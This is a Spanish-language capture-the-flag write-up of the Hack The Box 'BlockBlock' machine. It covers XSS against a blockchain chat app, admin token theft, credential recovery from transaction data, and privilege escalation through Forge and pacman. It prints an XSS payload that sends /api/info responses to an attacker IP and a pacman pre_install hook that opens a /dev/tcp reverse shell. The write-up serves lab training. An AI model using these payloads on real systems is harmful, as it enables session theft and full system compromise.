> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/writes-ups/hack-the-box/hard/blockblock.md).

# BlockBlock

## Información de la máquina

<figure><img src="/files/Gj8t7XnfxaowTimMHjLI" alt=""><figcaption></figcaption></figure>

BlockBlock es una máquina Linux de alto nivel que aloja una aplicación de chat descentralizada, construida sobre una blockchain con dos contratos inteligentes principales: `Users.sol` y `Database.sol`. La aplicación incluye la función "Reportar usuario", vulnerable a XSS, que puede explotarse para robar el token del administrador a través de un endpoint de API expuesto. Obtener acceso de administrador nos permite recuperar el token de autorización necesario para interactuar con el endpoint `/api/json-rpc` de la blockchain. Mediante la enumeración de bloques de transacciones, extraemos las credenciales del usuario `keira`. La escalada de privilegios al usuario `paul` se logra aprovechando los permisos `sudo` de `keira` para ejecutar la herramienta Forge CLI como `paul`. Finalmente, `paul` tiene acceso root al gestor de paquetes `pacman`, que puede explotarse mediante la función de gancho post-instalación para ejecutar comandos arbitrarios como root.

***

## Reconocimiento

La fase de **reconocimiento** es el primer paso a la hora de resolver una máquina. Su objetivo es recopilar la mayor cantidad de información posible sobre el sistema objetivo, permitiendo entender su estructura, tecnología y posibles vectores de ataque.&#x20;

Empezaremos haciendo un ping a la máquina víctima para ver si está encendida y ante que nos enfrentamos.

<figure><img src="/files/gzuyXgMS2RzF7uHt5V2l" alt=""><figcaption></figcaption></figure>

Si recibimos respuesta, significa que la máquina está en línea. Además, observamos que el **TTL** (Time To Live) es **63**, lo que indica que es un sistema **Linux** (normalmente, los sistemas Windows tienen un TTL de 127).&#x20;

{% hint style="success" %}
Esto sucede porque Hack The Box virtualiza las máquinas, lo que a menudo reduce el TTL en un punto respecto al valor estándar.

En entornos reales tendrían los siguientes valores:

TTL Linux **→** 64

TTL Windows **→** 128
{% endhint %}

Empezaremos haciendo un primer reconocimiento para ver los puertos abiertos en el sistema.

<figure><img src="/files/Yg7Ro2JPxCczHzTTou7I" alt=""><figcaption></figcaption></figure>

**1. `-p-` → Escaneo de todos los puertos (1-65535)**

Por defecto, `nmap` solo escanea los **1000 puertos más comunes**.\
Con `-p-`, forzamos a que escanee **los 65,535 puertos** de la máquina objetivo, lo que puede ser útil para encontrar servicios que corren en puertos poco convencionales.

**2. `--open` → Filtrar solo los puertos abiertos**

Cuando escaneamos un sistema, muchos puertos pueden estar cerrados o filtrados por un firewall.\
Este parámetro hace que `nmap` **solo muestre los puertos abiertos**, reduciendo el ruido y facilitando el análisis.

**3. `-sS` → Stealth Scan (Escaneo Sigiloso con SYN)**

Es conocido como **"TCP SYN Scan"**, y funciona de la siguiente manera:

* `nmap` envía un paquete **SYN** (solicitud de conexión).
* &#x20;Si el puerto está abierto, el servidor responde con **SYN-ACK**.
* En lugar de completar la conexión con un **ACK**, `nmap` responde con un **RST (Reset)**, interrumpiendo la comunicación.

**4. `--min-rate 5000` → Velocidad mínima de paquetes (5000 por segundo)**

Por defecto, `nmap` ajusta dinámicamente la velocidad de los paquetes según la respuesta de la red.\
Con `--min-rate 5000`, obligamos a `nmap` a **no enviar menos de 5000 paquetes por segundo**, acelerando el escaneo.

**5. `-n` → Deshabilitar resolución DNS**

Normalmente, `nmap` intenta resolver el nombre de dominio de las IPs escaneadas (DNS lookup).\
Con `-n`, evitamos esta resolución de nombres, lo que **acelera el escaneo** y evita que los servidores DNS registren nuestra actividad.

**6. `-Pn` → Omitir detección de host (Host Discovery Off)**

Por defecto, `nmap` envía paquetes ICMP (ping) para ver si un host está activo antes de escanearlo.\
Si un firewall bloquea los pings, `nmap` puede marcarlo como "host down" y no escanearlo.

**7. `-oG`** **→ Exportar el contenido en formato grepeable**

Todo el resultado del escaneo lo exportaremos en un archivo llamado **`puertos` .**

El escaneo revela que los puertos **22 (SSH)** y 80 **(HTTP), 8545** están abiertos. Ahora realizamos un escaneo más detallado:

<figure><img src="/files/6eTFzjhWX8f2qFM6nXTV" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Sv6w8A4GF5aoYB8zb5O7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2TQWyfoD5NFJlOU3G6Vk" alt=""><figcaption></figcaption></figure>

**1. `-p22,80,8545` → Escaneo de puertos específicos**

Con `-p22,80,8545`, le indicamos que **solo** escanee los puertos **22 (SSH), 80(HTTP) Y 8545.**

**2. `-sCV` → Escaneo de versiones y scripts básicos**

Este parámetro en realidad es **dos combinaciones en una**:

* **`-sC`** → Activa los **NSE scripts por defecto** en `nmap` (similar a usar `--script=default`).\
  🔹 Ejecuta scripts básicos para enumerar información del servicio detectado, como banners, versiones, etc.
* **`-sV`** → Realiza **fingerprinting de versiones**, intentando identificar la versión exacta del software en cada puerto abierto.

**3. `-oN` → Guardar el resultado en formato Normal**

Por defecto, `nmap` muestra los resultados en pantalla, pero con **`-oN targeted`**, guardamos el resultado en un archivo en **formato legible para humanos**.

## Enumeración Web Inicial y Pruebas de Entrada

Antes de visitar la web, useremos la herramienta `whatweb`, para saber que tecnologías usa esta página, u otra información relevante.

<figure><img src="/files/ZR8K2qjBiOqhZB70aDgg" alt=""><figcaption></figcaption></figure>

Encontramos información como la versión `3.0.3 Werkzoug` y la `3.12.3 de python`.

{% hint style="success" %}
Werkzeug es una colección de bibliotecas que permite crear aplicaciones web en Python. Es un kit de herramientas WSGI y HTTP de bajo nivel que impulsa Flask.&#x20;
{% endhint %}

Ahora visitaremos la página.

<figure><img src="/files/98aVKTrth0ERyd7PzOhk" alt=""><figcaption></figcaption></figure>

Encontramos una página de registro, login, chat y profile.

Lo primero que haremos será registrarnos en la plataforma y luego iniciar sesión con las credenciales creadas.&#x20;

<figure><img src="/files/rZcz0meoAnbkC3uKmHtY" alt=""><figcaption></figcaption></figure>

Una vez iniciamos sesión, la interfaz nos muestra los siguientes elementos:

* Un **chat con un bot**, donde podemos enviar mensajes y recibir respuestas automáticas.
* Una **ventana para visualizar nuestro perfil**, donde se almacenen detalles sobre nuestra cuenta.
* Un **apartado para cerrar sesión**

Como primera prueba, escribiremos un mensaje en el chat para verificar si la aplicación interpreta código HTML.

<figure><img src="/files/fuFL1uoKIgftk0Cgmadi" alt=""><figcaption></figcaption></figure>

Después de enviar un mensaje con código HTML, observamos que la aplicación **no lo interpreta**. Esto significa que cualquier intento de inyección HTML en el chat no tendrá efecto.

Este comportamiento indica que la entrada de datos probablemente esté sanitizada, lo que evita ataques de inyección de código HTML o XSS (Cross-Site Scripting).

<figure><img src="/files/ShHZ3F9ZZMw6nR5MTnJd" alt=""><figcaption></figcaption></figure>

## Análisis de Contratos Inteligentes (Solidity)

Procedemos a inspeccionar el contenido de un enlace presente en la plataforma. Observamos que los archivos tienen la extensión `.sol`.

<figure><img src="/files/46LTAmoFneVwHlbdqfFK" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
El **formato de archivo `.sol`** se utiliza para almacenar documentos en Solidity, el lenguaje de programación diseñado para la creación de contratos inteligentes en la blockchain de Ethereum.
{% endhint %}

Si vemos el código de cada archivo. Primero lo haremos del archivo `Database.sol`.

#### 1. `deleteAccount`

```solidity
function deleteAccount(string calldata username) public onlyOwner {
    if (!users[username].exists) {
        revert("User does not exist");
    }
    delete users[username];
    chat.deleteUserMessages(username);
    emit AccountDeleted(username);
}
```

* **Propósito:** Elimina la cuenta de un usuario.
* **Detalles:**
  * `string calldata username`: Recibe el nombre de usuario de la cuenta que se desea eliminar.
  * **Restricción:** La función solo puede ser llamada por el dueño del contrato (`onlyOwner`).
  * Verifica si el usuario existe (`users[username].exists`). Si no existe, se revierte la transacción con el mensaje "User does not exist".
  * Si el usuario existe, se elimina el registro de dicho usuario (`delete users[username]`).
  * También se eliminan los mensajes del usuario en el sistema de chat relacionado (`chat.deleteUserMessages(username)`).
  * Finalmente, emite un evento `AccountDeleted` para notificar que la cuenta ha sido eliminada.

***

#### 2. `updatePassword`

```solidity
function updatePassword(
    string calldata username,
    string calldata oldPassword,
    string calldata newPassword
) public onlyOwner onlyExistingUser(username) {
    if (
        keccak256(bytes(users[username].password)) !=
        keccak256(bytes(oldPassword))
    ) {
        revert("Invalid password");
    }
    users[username].password = newPassword;
    emit PasswordUpdated(username);
}
```

* **Propósito:** Permite cambiar la contraseña de un usuario.
* **Detalles:**
  * `string calldata username`: El nombre de usuario cuya contraseña será actualizada.
  * `string calldata oldPassword`: La contraseña actual que se quiere cambiar.
  * `string calldata newPassword`: La nueva contraseña que se desea establecer.
  * **Restricciones:**
    * Solo el dueño del contrato puede invocar esta función (`onlyOwner`).
    * La función verifica que el usuario exista utilizando el modificador `onlyExistingUser(username)`.
  * La función compara la contraseña actual del usuario (`users[username].password`) con la `oldPassword` proporcionada, usando `keccak256` para hacer un hash de las contraseñas y compararlas de forma segura.
  * Si la contraseña no coincide, se revierte la transacción con el mensaje "Invalid password".
  * Si la contraseña es correcta, se actualiza la contraseña del usuario a la nueva contraseña.
  * Se emite el evento `PasswordUpdated` para notificar que la contraseña fue actualizada.

***

#### 3. `updateRole`

```solidity
function updateRole(
    string calldata username,
    string calldata role
) public onlyOwner onlyExistingUser(username) {
    if (!users[username].exists) {
        revert("User does not exist");
    }
    users[username].role = role;
    emit RoleUpdated(username);
}
```

* **Propósito:** Actualiza el rol de un usuario.
* **Detalles:**

  * `string calldata username`: El nombre de usuario cuyo rol se desea actualizar.
  * `string calldata role`: El nuevo rol que se asignará al usuario.
  * **Restricciones:**
    * Solo el dueño del contrato puede invocar esta función (`onlyOwner`).
    * La función verifica que el usuario exista utilizando el modificador `onlyExistingUser(username)`.
  * Si el usuario no existe, se revierte la transacción con el mensaje "User does not exist".
  * Si el usuario existe, el rol del usuario se actualiza al nuevo rol proporcionado.
  * Se emite el evento `RoleUpdated` para notificar que el rol del usuario fue actualizado.

Ahora veremos el de Chat.sol:

#### 1. `getRecentUserMessages`

```solidity
function getRecentUserMessages(
    string calldata user,
    uint256 count
) public view onlyOwner onlyExistingUser(user) returns (Message[] memory) {
    if (count > userMessages[user].length) {
        count = userMessages[user].length;
    }
    Message[] memory result = new Message[](count);
    for (uint256 i = 0; i < count; i++) {
        result[i] = userMessages[user][
            userMessages[user].length - count + i
        ];
    }
    return result;
}
```

* **Propósito:** Retorna los últimos `count` mensajes de un usuario específico.
* **Detalles:**
  * `string calldata user`: El nombre del usuario cuyos mensajes recientes se quieren obtener.
  * `uint256 count`: La cantidad de mensajes recientes a recuperar.
  * **Restricciones:**
    * Solo el dueño del contrato (`onlyOwner`) puede ejecutar esta función.
    * Solo se pueden obtener mensajes de usuarios existentes (`onlyExistingUser(user)`).
  * Si `count` es mayor que la cantidad de mensajes del usuario, `count` se ajusta al número total de mensajes disponibles.
  * Se crea un array `result` de tamaño `count` para almacenar los mensajes recientes.
  * Se copian los últimos `count` mensajes desde `userMessages[user]` al array `result`.
  * Finalmente, la función devuelve el array `result` con los mensajes recientes.

***

#### 2. `getUserMessages`

```solidity
function getUserMessages(
    string calldata user
) public view onlyOwner onlyExistingUser(user) returns (Message[] memory) {
    return userMessages[user];
}
```

* **Propósito:** Obtiene todos los mensajes de un usuario específico.
* **Detalles:**
  * `string calldata user`: El usuario cuyos mensajes se quieren recuperar.
  * **Restricciones:**
    * Solo el dueño del contrato (`onlyOwner`) puede ejecutar esta función.
    * Solo se pueden obtener mensajes de usuarios existentes (`onlyExistingUser(user)`).
  * Retorna el array completo de mensajes del usuario (`userMessages[user]`).

***

#### 3. `getUserMessagesCount`

```solidity
function getUserMessagesCount(
    string calldata user
) public view onlyOwner onlyExistingUser(user) returns (uint256) {
    return userMessages[user].length;
}
```

* **Propósito:** Obtiene la cantidad total de mensajes enviados por un usuario específico.
* **Detalles:**
  * `string calldata user`: Usuario del que se quiere conocer la cantidad de mensajes enviados.
  * **Restricciones:**
    * Solo el dueño del contrato (`onlyOwner`) puede ejecutar esta función.
    * Solo se pueden contar los mensajes de usuarios existentes (`onlyExistingUser(user)`).
  * Devuelve el número de mensajes almacenados en `userMessages[user]`.

***

#### 4. `getTotalMessagesCount`

```solidity
function getTotalMessagesCount() public view onlyOwner returns (uint256) {
    return totalMessagesCount;
}
```

* **Propósito:** Devuelve la cantidad total de mensajes en el sistema.
* **Detalles:**

  * **Restricción:** Solo el dueño del contrato (`onlyOwner`) puede ejecutar esta función.
  * Retorna el valor de `totalMessagesCount`, que probablemente sea una variable que se incrementa cada vez que un nuevo mensaje es enviado en el sistema.

<figure><img src="/files/XZbDPScxttLuIOCkxrGN" alt=""><figcaption></figcaption></figure>

## Explotación de Endpoint /api/info mediante XSS Reflejado

Ejecutamos un código para comprobar si se realiza una solicitud a nuestro servidor. Esto nos permitirá analizar cómo la aplicación maneja las peticiones y si podemos interactuar con el backend de alguna manera.

<figure><img src="/files/8zL4ZDCYC0ZmXdrlQuQJ" alt=""><figcaption></figcaption></figure>

Al confirmar la acción, observamos que la aplicación intenta acceder a un archivo en el servidor. Sin embargo, este archivo no está disponible en el momento de la prueba.

<figure><img src="/files/vOYQleUPT3o9CCw3EbvH" alt=""><figcaption></figcaption></figure>

Intentamos determinar si es posible extraer la cookie de sesión del administrador o del usuario que realiza la petición.&#x20;

Al inspeccionar las cookies, identificamos que se utiliza un token JWT para la sesión. Además, el atributo `HttpOnly` está activado, lo que impide que JavaScript acceda al token mediante `document.cookie`. Esto dificulta su extracción desde el navegador.

<figure><img src="/files/nsfN3Hqt6BK6VQ9ubES4" alt=""><figcaption></figcaption></figure>

En este punto, no hemos encontrado ninguna vulnerabilidad explotable. Por lo tanto, continuamos con la fase de enumeración, analizando más a fondo el sistema en busca de posibles debilidades.

Utilizamos una herramienta de interceptación para analizar las peticiones HTTP y observar cómo la aplicación interactúa con el backend. Esto nos permitirá identificar posibles puntos de ataque.

<figure><img src="/files/7VRTF6LLvKSG9YZqoFEx" alt=""><figcaption></figcaption></figure>

Descubrimos que la aplicación realiza conexiones al puerto 8545, que suele estar relacionado con Ethereum y redes blockchain. También encontramos una solicitud a `/api/info`, lo que podría revelar información sensible del usuario.

<figure><img src="/files/XgikZaL3NwFEUijwh6OV" alt=""><figcaption></figcaption></figure>

Podemos ver que la cookie de usuario es igual al token de sesión. Por lo que podríamos hacer una carga útil en el campo de Report User e intentar recuperar el token del administrador.

Confirmamos que la cookie tiene la restricción `HttpOnly`, lo que impide que sea accesible desde JavaScript y, por ende, que la podamos robar directamente con `document.cookie`.Descubrimos que el endpoint `/api/info` devuelve información sobre el usuario autenticado, incluyendo su token de sesión. Diseñamos un código malicioso que forzará al navegador de la víctima a enviar su token de sesión a nuestro servidor controlado.

```javascript
<img src="x" onerror="fetch('/api/info').then(resp => resp.text()).then(body => { fetch('http://10.10.16.49/exfil', { method: 'POST', body: body});})" />
```

Este código crea una imagen falsa que, al no poder cargarse, ejecuta un script en su lugar. Este script solicita `/api/info` y envía la respuesta a nuestro servidor.

Para capturar la información exfiltrada, utilizamos `netcat` en el puerto 80, esperando recibir los datos enviados por la carga maliciosa.

<figure><img src="/files/ENsxW5ke7GHLaYB8KCOM" alt=""><figcaption></figcaption></figure>

## Suplantación de Identidad con Token JWT del Administrador

Nuestra carga útil funciona y obtenemos el token de sesión del administrador en nuestro servidor de escucha. Utilizamos el token capturado para suplantar al administrador en la aplicación, obteniendo acceso con privilegios elevados.

<figure><img src="/files/UGgxjjUZslVIhxGzbNbm" alt=""><figcaption></figcaption></figure>

Al acceder con el token del administrador, aparece un nuevo apartado en la interfaz llamado "Admin", que contiene opciones adicionales:

<figure><img src="/files/cGfgnaWIhZhJgpuHZ573" alt=""><figcaption></figcaption></figure>

## Interacción con Blockchain a través de JSON-RPC

En la sección de administración, encontramos una lista de usuarios registrados en la plataforma, entre ellos un usuario llamado "keira".

<figure><img src="/files/GWUgOEqSKTzmLdZXbzj4" alt=""><figcaption></figcaption></figure>

Como administradores, analizamos las solicitudes que se realizan en segundo plano y encontramos llamadas a `/api/json-rpc` y `/api/chat_address`.:

<figure><img src="/files/NpZDPd3JzE3fZFWUGLBN" alt=""><figcaption></figcaption></figure>

El endpoint `/api/chat_address` nos proporciona una dirección en la blockchain, lo que indica que la plataforma está vinculada a una red descentralizada:

{% hint style="success" %}
En términos simples, esta dirección blockchain actúa como un identificador único para una cuenta dentro de la red distribuida. A través de esta dirección, es posible realizar transacciones en la blockchain, como recibir pagos en criptomonedas o interactuar con contratos inteligentes.
{% endhint %}

<figure><img src="/files/I70egPSlQh5FkCJTojc6" alt=""><figcaption></figcaption></figure>

Exploramos la solicitud enviada a `/api/json-rpc` para entender qué información se está obteniendo de la blockchain.

{% hint style="success" %}
JSON-RPC es un protocolo que permite la comunicación con servicios remotos enviando solicitudes en formato JSON. En este caso, se usa para interactuar con la blockchain.
{% endhint %}

<figure><img src="/files/9SOD3pbE7MTdlxfs4Xzx" alt=""><figcaption></figcaption></figure>

La solicitud emplea el método `eth_getBalance`, que permite consultar el saldo de una dirección en la blockchain de Ethereum.

{% embed url="<https://ethereum.org/en/developers/docs/apis/json-rpc/#eth_getbalance>" %}

Al revisar la documentación de JSON-RPC, encontramos otros métodos útiles, como `eth_getBlockByNumber`, que devuelve información sobre bloques específicos de la blockchain.

Este método obtiene datos de un bloque en la blockchain, incluyendo información sobre las transacciones contenidas en él.&#x20;

Esta función recibe como parámetros el número del bloque y un valor booleano que determina si queremos obtener todos los detalles de las transacciones.

Ejecutamos la función con el parámetro "latest" para obtener el bloque más reciente y con `true` para recuperar información detallada.

<figure><img src="/files/oxNcDkp3zX7Br99D4EiW" alt=""><figcaption></figcaption></figure>

La respuesta contiene una gran cantidad de datos, que analizaremos en busca de información útil

<figure><img src="/files/XPH0ZIezyQYKiduFp170" alt=""><figcaption></figcaption></figure>

Utilizamos la herramienta CyberChef para procesar y descifrar la información obtenida.

<figure><img src="/files/mxukFn7E05PDkIulZHOw" alt=""><figcaption></figcaption></figure>

Modificamos la solicitud para recuperar información sobre una transacción específica dentro del bloque.

<figure><img src="/files/oxU32UjvLzSsvTKsnsGI" alt=""><figcaption></figcaption></figure>

La respuesta cambia y nos muestra un nuevo código de entrada en la transacción. Al decodificar el contenido, identificamos el nombre de usuario "keira" junto con lo que parece ser una contraseña.

<figure><img src="/files/CDOLq1FydC1H9ywMjWQw" alt=""><figcaption></figcaption></figure>

## Acceso Inicial vía SSH con Credenciales de la Blockchain

Intentamos iniciar sesión en la máquina objetivo mediante SSH usando las credenciales obtenidas.

<figure><img src="/files/eQK1ksB8sJfffbth6bbH" alt=""><figcaption></figcaption></figure>

La autenticación es exitosa y obtenemos acceso al sistema como el usuario "keira".

## Escalada de Privilegios a Usuario Paul usando Forge

Hemos logrado acceder a la primera bandera de la máquina, lo que confirma que estamos progresando en la explotación.

<figure><img src="/files/Cekz5DSsNkgxTFA54Zg3" alt=""><figcaption></figcaption></figure>

Verificamos que tenemos privilegios suficientes para ejecutar un archivo con los permisos del usuario `paul`, lo que nos permitirá escalar privilegios dentro del sistema. La estrategia a seguir implica cambiar de usuario a `paul` antes de intentar obtener acceso completo (`root`).

<figure><img src="/files/GCYrvosGgrtFq6EPvdbF" alt=""><figcaption></figcaption></figure>

`Foundry` y `Forge` son herramientas relacionadas con el desarrollo en Ethereum. Consultamos su documentación para entender su funcionalidad y cómo podemos aprovecharlas para la explotación.

{% embed url="<https://github.com/foundry-rs/foundry>" %}

{% embed url="<https://book.getfoundry.sh/>" %}

El comando `build` en `Forge` permite especificar un compilador personalizado mediante la opción `--use`.

{% hint style="success" %}
Este parámetro permite definir la versión de `solc` (el compilador de Solidity) que se utilizará.

Podemos indicar una versión específica del compilador o incluso usar un binario local como compilador personalizado.

`Forge` acepta diferentes formatos para definir el compilador, lo que nos permite engañar al programa para que ejecute nuestro propio binario.
{% endhint %}

Dado que `Forge` permite especificar un binario arbitrario, podemos sustituirlo por un script malicioso que nos proporcione acceso remoto.

<figure><img src="/files/6Jnnqdx5GOoBKJt2xdJf" alt=""><figcaption></figcaption></figure>

Creamos un script que abrirá una conexión reversa cuando se ejecute.. Le damos permisos de ejecución al archivo y nos ponemos en escucha por el puerto 443. Ejecutamos `forge build --use ./revshell.sh`, lo que provocará que el sistema ejecute nuestro script en lugar del compilador.

<figure><img src="/files/xbHJOT4S2esEKCaJ2dpM" alt=""><figcaption><p>ç</p></figcaption></figure>

La técnica ha funcionado y ahora tenemos acceso a la máquina con los permisos del usuario `paul`. Nuestro siguiente objetivo es elevar nuestros privilegios para obtener control total del sistema. Descubrimos que el usuario `paul` puede ejecutar el gestor de paquetes `pacman` con privilegios de `root`, lo que nos abre la puerta a una escalación de privilegios.

## Escalada de Privilegios a Root mediante Pacman

<figure><img src="/files/PvY2reB9QIdRCqrfaz00" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
Pacman es un gestor de paquetes para el sistema operativo Linux, que se utiliza para instalar, actualizar y eliminar paquetes de software. Es una de las características principales de Arch Linux.
{% endhint %}

{% embed url="<https://wiki.archlinux.org/title/Pacman>" %}

Podemos aprovechar `pacman` para instalar un paquete malicioso y ejecutar comandos con privilegios de `root`. `PKGBUILD` es un archivo de configuración que define cómo se construye e instala un paquete en `pacman`.

Dentro del archivo `PKGBUILD`, la función `package()` define qué archivos se copiarán y ejecutarán durante la instalación.

```
pkgname=4lec4st-install
pkgver=0.0.1
pkgrel=1
pkgdesc="privesc"
arch=("x86_64")
license=("GPL2")
install=shell.sh

build() {
    echo "build 4lec4st solutions"
}

package() {
    echo "hello from the package function"
}
```

Ahora crearemos un archivo shell.sh, que nos entablará una revershell

```bash
#!/bin/bash

pre_install() {
	bash -i >&/dev/tcp/10.10.16.49/1234 0>&1
}
```

Utilizamos `makepkg` para construir nuestro paquete malicioso. Tras compilar el paquete, se generarán archivos que `pacman` puede instalar.

<figure><img src="/files/6H0p3xwZ12Ru09ehS6xp" alt=""><figcaption></figcaption></figure>

Instalamos el paquete con `pacman -U 4lec4st-install.pkg.tar.zst`, lo que ejecutará el script malicioso.

Nos ponemos en escucha con `nc -lvnp 1234` para recibir la conexión reversa.

<figure><img src="/files/aGjix8dGPyq1VQqD1SKi" alt=""><figcaption></figcaption></figure>

La explotación ha sido exitosa: ahora somos `root` y podemos acceder a la última bandera de la máquina.

<figure><img src="/files/Rcq7072vWRaa2vdtFYMq" alt=""><figcaption></figcaption></figure>

***

## Conclusión

BlockBlock presenta una combinación interesante de vulnerabilidades web y fallos en la configuración del sistema que permiten una escalada progresiva de privilegios hasta obtener acceso total a la máquina.

El punto de entrada fue una vulnerabilidad de XSS en la funcionalidad de "Reportar usuario", lo que nos permitió exfiltrar el token del administrador aprovechando un endpoint expuesto. Con este token, accedimos al API `/api/json-rpc` de la blockchain y enumeramos las transacciones para extraer credenciales válidas.

El acceso inicial al sistema se obtuvo mediante SSH con las credenciales del usuario `keira`. Desde ahí, identificamos que `keira` podía ejecutar `Forge CLI` como `paul`, lo que nos permitió inyectar un binario malicioso y obtener una shell con los permisos de este usuario.

Finalmente, la escalada a `root` se logró explotando los privilegios de `sudo` sobre `pacman`. Al construir e instalar un paquete malicioso, ejecutamos comandos arbitrarios con privilegios elevados, obteniendo el control total de la máquina.
